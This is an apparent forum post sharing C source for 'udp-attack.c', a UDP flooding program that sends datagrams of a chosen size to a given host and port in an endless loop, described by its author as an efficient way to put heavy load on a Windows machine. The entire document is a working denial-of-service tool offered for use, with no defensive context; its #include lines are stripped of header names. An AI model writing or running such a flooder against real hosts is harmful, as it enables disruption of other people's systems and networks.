A tiny udp attack program
/*
* Please don laugh at me :)
* This is a simple udp attack program
* Compile under linux
* It is efficient to make a windows box heavy load
*/
/*
* udp-attack.c
*/
#include
#include
#include
#include
#include
#include
#define MAX_SIZE 65535
int main(int argc, char **argv)
{
int i, size, sockfd;
unsigned short port;
struct sockaddr_in servaddr;
struct hostent *hostinfo;
char sendbuf[MAX_SIZE];
if (argc != 4) {
printf("Usage: %s host port size \n", argv[0]);
exit(-1);
}
port = atoi(argv[2]);
size = atoi(argv[3]);
if (size < 0)
size = 0;
if (size > MAX_SIZE)
size = MAX_SIZE;
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if ((hostinfo = gethostbyname(argv[1])) == NULL) {
herror("gethostbyname()");
exit(-1);
}
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
servaddr.sin_addr = *((struct in_addr *)hostinfo->h_addr);
printf("Destination: %s (%s)\n", hostinfo->h_name, \
inet_ntoa(*((struct in_addr *)hostinfo->h_addr)));
printf("Port: %d\n", port);
printf("Package size: %d\n", size);
for (i = 1; ; i++) {
if (sendto(sockfd, sendbuf, size, 0, \
(struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) {
perror("sendto()");
exit(-1);
}
printf("Send %d packages.\r", i);
fflush(stdout);
}
return 0;
}
发布人:liutao317 来自: